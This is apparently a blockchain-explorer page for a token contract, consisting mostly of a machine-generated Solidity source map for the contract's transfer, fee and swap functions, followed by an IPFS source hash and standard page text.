162::-;1015:13;:11;:13::i;:::-;19166:12:::1;:25:::0;;;;19202:13:::1;:27:::0;19075:162::o;19334:220::-;1015:13;:11;:13::i;:::-;19393:12:::1;::::0;:17;19385:66:::1;;;::::0;-1:-1:-1;;;19385:66:0;;5682:2:1;19385:66:0::1;::::0;::::1;5664:21:1::0;5721:2;5701:18;;;5694:30;5760:34;5740:18;;;5733:62;-1:-1:-1;;;5811:18:1;;;5804:34;5855:19;;19385:66:0::1;5480:400:1::0;19385:66:0::1;19477:12;19462;:27:::0;19500:10:::1;:17:::0;;-1:-1:-1;;;;19528:18:0;-1:-1:-1;;;19528:18:0;;;19334:220::o;8151:151::-;-1:-1:-1;;;;;8267:18:0;;;8240:7;8267:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8151:151::o;19690:193::-;19796:15;;19763:4;;19796:15;;;-1:-1:-1;;;;;19796:15:0;19822:31;19830:7;19796:15;19846:6;19822:7;:31::i;2028:201::-;1015:13;:11;:13::i;:::-;-1:-1:-1;;;;;2117:22:0;::::1;2109:73;;;::::0;-1:-1:-1;;;2109:73:0;;6087:2:1;2109:73:0::1;::::0;::::1;6069:21:1::0;6126:2;6106:18;;;6099:30;6165:34;6145:18;;;6138:62;-1:-1:-1;;;6216:18:1;;;6209:36;6262:19;;2109:73:0::1;5885:402:1::0;2109:73:0::1;2193:28;2212:8;2193:18;:28::i;:::-;2028:201:::0;:::o;14807:346::-;-1:-1:-1;;;;;14909:19:0;;14901:68;;;;-1:-1:-1;;;14901:68:0;;6494:2:1;14901:68:0;;;6476:21:1;6533:2;6513:18;;;6506:30;6572:34;6552:18;;;6545:62;-1:-1:-1;;;6623:18:1;;;6616:34;6667:19;;14901:68:0;6292:400:1;14901:68:0;-1:-1:-1;;;;;14988:21:0;;14980:68;;;;-1:-1:-1;;;14980:68:0;;6899:2:1;14980:68:0;;;6881:21:1;6938:2;6918:18;;;6911:30;6977:34;6957:18;;;6950:62;-1:-1:-1;;;7028:18:1;;;7021:32;7070:19;;14980:68:0;6697:398:1;14980:68:0;-1:-1:-1;;;;;15061:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15113:32;;160:25:1;;;15113:32:0;;133:18:1;15113:32:0;;;;;;;14807:346;;;:::o;15458:419::-;15559:24;15586:25;15596:5;15603:7;15586:9;:25::i;:::-;15559:52;;-1:-1:-1;;15626:16:0;:37;15622:248;;15708:6;15688:16;:26;;15680:68;;;;-1:-1:-1;;;15680:68:0;;7302:2:1;15680:68:0;;;7284:21:1;7341:2;7321:18;;;7314:30;7380:31;7360:18;;;7353:59;7429:18;;15680:68:0;7100:353:1;15680:68:0;15792:51;15801:5;15808:7;15836:6;15817:16;:25;15792:8;:51::i;:::-;15548:329;15458:419;;;:::o;20351:3363::-;-1:-1:-1;;;;;20483:18:0;;20475:68;;;;-1:-1:-1;;;20475:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20562:16:0;;20554:64;;;;-1:-1:-1;;;20554:64:0;;;;;;;:::i;:::-;20646:1;20637:6;:10;20629:52;;;;-1:-1:-1;;;20629:52:0;;8470:2:1;20629:52:0;;;8452:21:1;8509:2;8489:18;;;8482:30;8548:31;8528:18;;;8521:59;8597:18;;20629:52:0;8268:353:1;20629:52:0;20696:9;;-1:-1:-1;;;20696:9:0;;;;20692:1721;;;1202:6;;-1:-1:-1;;;;;20744:15:0;;;1202:6;;20744:15;;;;:49;;-1:-1:-1;1202:6:0;;-1:-1:-1;;;;;20780:13:0;;;1202:6;;20780:13;;20744:49;:86;;;;-1:-1:-1;;;;;;20814:16:0;;;;20744:86;:128;;;;-1:-1:-1;;;;;;20851:21:0;;20865:6;20851:21;;20744:128;20722:1680;;;20912:10;;-1:-1:-1;;;20912:10:0;;;;20907:322;;-1:-1:-1;;;;;20981:20:0;;;;;;:14;:20;;;;;;;;;:71;;-1:-1:-1;;;;;;21034:18:0;;;;;;:14;:18;;;;;;;;20981:71;20947:186;;;;-1:-1:-1;;;20947:186:0;;8828:2:1;20947:186:0;;;8810:21:1;8867:2;8847:18;;;8840:30;8906:31;8886:18;;;8879:59;8955:18;;20947:186:0;8626:353:1;20947:186:0;1202:6;;-1:-1:-1;;;;;21164:15:0;;;1202:6;;21164:15;21156:53;;;;-1:-1:-1;;;21156:53:0;;9186:2:1;21156:53:0;;;9168:21:1;9225:2;9205:18;;;9198:30;9264:27;9244:18;;;9237:55;9309:18;;21156:53:0;8984:349:1;21156:53:0;21309:8;-1:-1:-1;;;;;21301:16:0;:4;-1:-1:-1;;;;;21301:16:0;;:39;;;;-1:-1:-1;;;;;;21322:18:0;;;;;;:14;:18;;;;;;;;21321:19;21301:39;21275:1112;;;21427:10;;21417:6;:20;;21383:153;;;;-1:-1:-1;;;21383:153:0;;9540:2:1;21383:153:0;;;9522:21:1;9579:2;9559:18;;;9552:30;9618:34;9598:18;;;9591:62;-1:-1:-1;;;9669:18:1;;;9662:45;9724:19;;21383:153:0;9338:411:1;21383:153:0;21619:13;;-1:-1:-1;;;;;7663:18:0;;7636:7;7663:18;;;;;;;;;;;21593:22;;:6;:22;:::i;:::-;:39;;21559:156;;;;-1:-1:-1;;;21559:156:0;;9956:2:1;21559:156:0;;;9938:21:1;9995:2;9975:18;;;9968:30;10034:33;10014:18;;;10007:61;10085:18;;21559:156:0;9754:355:1;21559:156:0;21275:1112;;;21819:8;-1:-1:-1;;;;;21813:14:0;:2;-1:-1:-1;;;;;21813:14:0;;:39;;;;-1:-1:-1;;;;;;21832:20:0;;;;;;:14;:20;;;;;;;;21831:21;21813:39;21787:600;;;21939:11;;21929:6;:21;;21895:156;;;;-1:-1:-1;;;21895:156:0;;10316:2:1;21895:156:0;;;10298:21:1;10355:2;10335:18;;;10328:30;10394:34;10374:18;;;10367:62;-1:-1:-1;;;10445:18:1;;;10438:47;10502:19;;21895:156:0;10114:413:1;21787:600:0;-1:-1:-1;;;;;22104:18:0;;;;;;:14;:18;;;;;;;;22103:19;:65;;;;-1:-1:-1;;;;;;22148:20:0;;;;;;:14;:20;;;;;;;;22147:21;22103:65;22077:310;;;22271:13;;-1:-1:-1;;;;;7663:18:0;;7636:7;7663:18;;;;;;;;;;;22245:22;;:6;:22;:::i;:::-;:39;;22211:156;;;;-1:-1:-1;;;22211:156:0;;9956:2:1;22211:156:0;;;9938:21:1;9995:2;9975:18;;;9968:30;10034:33;10014:18;;;10007:61;10085:18;;22211:156:0;9754:355:1;22211:156:0;22472:4;22423:28;7663:18;;;;;;;;;;;22528:7;;22504:31;;;;;;;22564:35;;-1:-1:-1;22588:11:0;;-1:-1:-1;;;22588:11:0;;;;22564:35;:61;;;;-1:-1:-1;22617:8:0;;;;22616:9;22564:61;:94;;;;;22651:7;;22642:6;:16;22564:94;:131;;;;;22686:8;-1:-1:-1;;;;;22678:16:0;:4;-1:-1:-1;;;;;22678:16:0;;22676:19;22564:131;:167;;;;-1:-1:-1;;;;;;22713:18:0;;;;;;:12;:18;;;;;;;;22712:19;22564:167;:201;;;;-1:-1:-1;;;;;;22749:16:0;;;;;;:12;:16;;;;;;;;22748:17;22564:201;22546:338;;;22792:8;:15;;-1:-1:-1;;22792:15:0;22803:4;22792:15;;;22822:19;:17;:19::i;:::-;22856:8;:16;;-1:-1:-1;;22856:16:0;;;22546:338;-1:-1:-1;;;;;22928:18:0;;22894:12;22928:18;;;:12;:18;;;;;;22909:4;;22928:18;;;:38;;-1:-1:-1;;;;;;22950:16:0;;;;;;:12;:16;;;;;;;;22928:38;22924:86;;;-1:-1:-1;22993:5:0;22924:86;23020:12;23051:7;23047:616;;;23078:16;;-1:-1:-1;;;23078:16:0;;;;23075:65;;;23113:10;:8;:10::i;:::-;23185:8;-1:-1:-1;;;;;23179:14:0;:2;-1:-1:-1;;;;;23179:14:0;;:35;;;;;23213:1;23197:13;;:17;23179:35;23175:343;;;23269:3;23252:13;;23243:6;:22;;;;:::i;:::-;23242:30;;;;:::i;:::-;23235:37;;23307:4;23291:12;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;23175:343:0;;-1:-1:-1;23175:343:0;;23378:8;-1:-1:-1;;;;;23370:16:0;:4;-1:-1:-1;;;;;23370:16:0;;:36;;;;;23405:1;23390:12;;:16;23370:36;23366:152;;;23460:3;23444:12;;23435:6;:21;;;;:::i;:::-;23434:29;;;;:::i;:::-;23427:36;;23498:4;23482:12;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;;23366:152:0;23536:8;;23532:91;;23565:42;23581:4;23595;23602;23565:15;:42::i;:::-;23637:14;23647:4;23637:14;;:::i;:::-;;;23047:616;23673:33;23689:4;23695:2;23699:6;23673:15;:33::i;:::-;20464:3250;;;;20351:3363;;;:::o;1294:132::-;1202:6;;-1:-1:-1;;;;;1202:6:0;427:10;1358:23;1350:68;;;;-1:-1:-1;;;1350:68:0;;11262:2:1;1350:68:0;;;11244:21:1;;;11281:18;;;11274:30;11340:34;11320:18;;;11313:62;11392:18;;1350:68:0;11060:356:1;2389:191:0;2482:6;;;-1:-1:-1;;;;;2499:17:0;;;-1:-1:-1;;;;;;2499:17:0;;;;;;;2532:40;;2482:6;;;2499:17;2482:6;;2532:40;;2463:16;;2532:40;2452:128;2389:191;:::o;15161:289::-;-1:-1:-1;;;;;15276:19:0;;15268:28;;;;;;-1:-1:-1;;;;;15315:21:0;;15307:30;;;;;24123:459;24215:4;24171:23;7663:18;;;;;;;;;;;24258:12;;24287:20;;;:41;;-1:-1:-1;24311:17:0;;24287:41;24283:80;;;24345:7;;24123:459::o;24283:80::-;24397:7;;24379:15;:25;24375:83;;;24439:7;;24421:25;;24375:83;24472:33;24489:15;24472:16;:33::i;:::-;24526:15;;24518:56;;-1:-1:-1;;;;;24526:15:0;;;;;;;;;24552:21;24518:56;;;;;;;;;24552:21;24526:15;24518:56;;;;;;;;;;;;;;;;;;;;;24160:422;;24123:459::o;18572:462::-;18649:1;18634:12;;:16;18612:69;;;;-1:-1:-1;;;18612:69:0;;11623:2:1;18612:69:0;;;11605:21:1;11662:2;11642:18;;;11635:30;-1:-1:-1;;;11681:18:1;;;11674:46;11737:18;;18612:69:0;11421:340:1;18612:69:0;18765:12;;18715;;18692:20;;18765:16;;18780:1;18765:16;:::i;:::-;18738:43;;18811:16;18795:12;:32;18792:234;;18859:2;18844:12;:17;;;18876:13;:18;18601:433;;18572:462::o;18792:234::-;18942:1;18927:12;:16;;;18958:13;:17;18990:16;:24;;-1:-1:-1;;;;18990:24:0;;;18601:433;;18572:462::o;11720:806::-;-1:-1:-1;;;;;11817:18:0;;11809:68;;;;-1:-1:-1;;;11809:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11896:16:0;;11888:64;;;;-1:-1:-1;;;11888:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12038:15:0;;12016:19;12038:15;;;;;;;;;;;12072:21;;;;12064:72;;;;-1:-1:-1;;;12064:72:0;;11968:2:1;12064:72:0;;;11950:21:1;12007:2;11987:18;;;11980:30;12046:34;12026:18;;;12019:62;-1:-1:-1;;;12097:18:1;;;12090:36;12143:19;;12064:72:0;11766:402:1;12064:72:0;-1:-1:-1;;;;;12172:15:0;;;:9;:15;;;;;;;;;;;12190:20;;;12172:38;;12390:13;;;;;;;;;;:23;;;;;;12442:26;;160:25:1;;;12390:13:0;;12442:26;;133:18:1;12442:26:0;;;;;;;12481:37;24123:459;23720:397;23810:16;;;23824:1;23810:16;;;;;;;;23786:21;;23810:16;;;;;;;;;;-1:-1:-1;23810:16:0;23786:40;;23855:4;23837;23842:1;23837:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;23837:23:0;;;-1:-1:-1;;;;;23837:23:0;;;;;16783:42;-1:-1:-1;;;;;23881:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23871:4;23876:1;23871:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23871:30:0;;;:7;;;;;;;;;;;:30;23914:195;;-1:-1:-1;;;23914:195:0;;16783:42;;23914:64;;:195;;23993:11;;24019:1;;24036:4;;24063;;24083:15;;23914:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23775:342;23720:397;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:416::-;2320:6;2328;2381:2;2369:9;2360:7;2356:23;2352:32;2349:52;;;2397:1;2394;2387:12;2349:52;2436:9;2423:23;2455:31;2480:5;2455:31;:::i;:::-;2505:5;-1:-1:-1;2562:2:1;2547:18;;2534:32;2604:15;;2597:23;2585:36;;2575:64;;2635:1;2632;2625:12;2575:64;2658:7;2648:17;;;2255:416;;;;;:::o;2676:247::-;2735:6;2788:2;2776:9;2767:7;2763:23;2759:32;2756:52;;;2804:1;2801;2794:12;2756:52;2843:9;2830:23;2862:31;2887:5;2862:31;:::i;:::-;2912:5;2676:247;-1:-1:-1;;;2676:247:1:o;3375:248::-;3443:6;3451;3504:2;3492:9;3483:7;3479:23;3475:32;3472:52;;;3520:1;3517;3510:12;3472:52;-1:-1:-1;;3543:23:1;;;3613:2;3598:18;;;3585:32;;-1:-1:-1;3375:248:1:o;3628:388::-;3696:6;3704;3757:2;3745:9;3736:7;3732:23;3728:32;3725:52;;;3773:1;3770;3763:12;3725:52;3812:9;3799:23;3831:31;3856:5;3831:31;:::i;:::-;3881:5;-1:-1:-1;3938:2:1;3923:18;;3910:32;3951:33;3910:32;3951:33;:::i;4021:380::-;4100:1;4096:12;;;;4143;;;4164:61;;4218:4;4210:6;4206:17;4196:27;;4164:61;4271:2;4263:6;4260:14;4240:18;4237:38;4234:161;;4317:10;4312:3;4308:20;4305:1;4298:31;4352:4;4349:1;4342:15;4380:4;4377:1;4370:15;4234:161;;4021:380;;;:::o;4406:127::-;4467:10;4462:3;4458:20;4455:1;4448:31;4498:4;4495:1;4488:15;4522:4;4519:1;4512:15;4538:125;4603:9;;;4624:10;;;4621:36;;;4637:18;;:::i;7458:401::-;7660:2;7642:21;;;7699:2;7679:18;;;7672:30;7738:34;7733:2;7718:18;;7711:62;-1:-1:-1;;;7804:2:1;7789:18;;7782:35;7849:3;7834:19;;7458:401::o;7864:399::-;8066:2;8048:21;;;8105:2;8085:18;;;8078:30;8144:34;8139:2;8124:18;;8117:62;-1:-1:-1;;;8210:2:1;8195:18;;8188:33;8253:3;8238:19;;7864:399::o;10532:168::-;10605:9;;;10636;;10653:15;;;10647:22;;10633:37;10623:71;;10674:18;;:::i;10705:217::-;10745:1;10771;10761:132;;10815:10;10810:3;10806:20;10803:1;10796:31;10850:4;10847:1;10840:15;10878:4;10875:1;10868:15;10761:132;-1:-1:-1;10907:9:1;;10705:217::o;10927:128::-;10994:9;;;11015:11;;;11012:37;;;11029:18;;:::i;12305:127::-;12366:10;12361:3;12357:20;12354:1;12347:31;12397:4;12394:1;12387:15;12421:4;12418:1;12411:15;12437:251;12507:6;12560:2;12548:9;12539:7;12535:23;12531:32;12528:52;;;12576:1;12573;12566:12;12528:52;12608:9;12602:16;12627:31;12652:5;12627:31;:::i;12693:980::-;12955:4;13003:3;12992:9;12988:19;13034:6;13023:9;13016:25;13060:2;13098:6;13093:2;13082:9;13078:18;13071:34;13141:3;13136:2;13125:9;13121:18;13114:31;13165:6;13200;13194:13;13231:6;13223;13216:22;13269:3;13258:9;13254:19;13247:26;;13308:2;13300:6;13296:15;13282:29;;13329:1;13339:195;13353:6;13350:1;13347:13;13339:195;;;13418:13;;-1:-1:-1;;;;;13414:39:1;13402:52;;13509:15;;;;13474:12;;;;13450:1;13368:9;13339:195;;;-1:-1:-1;;;;;;;13590:32:1;;;;13585:2;13570:18;;13563:60;-1:-1:-1;;;13654:3:1;13639:19;13632:35;13551:3;12693:980;-1:-1:-1;;;12693:980:1:o

Swarm Source

ipfs://e23358aaa20850a251a5982d05dff1d03d15ea98419d00f1c95c266ac205c31a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.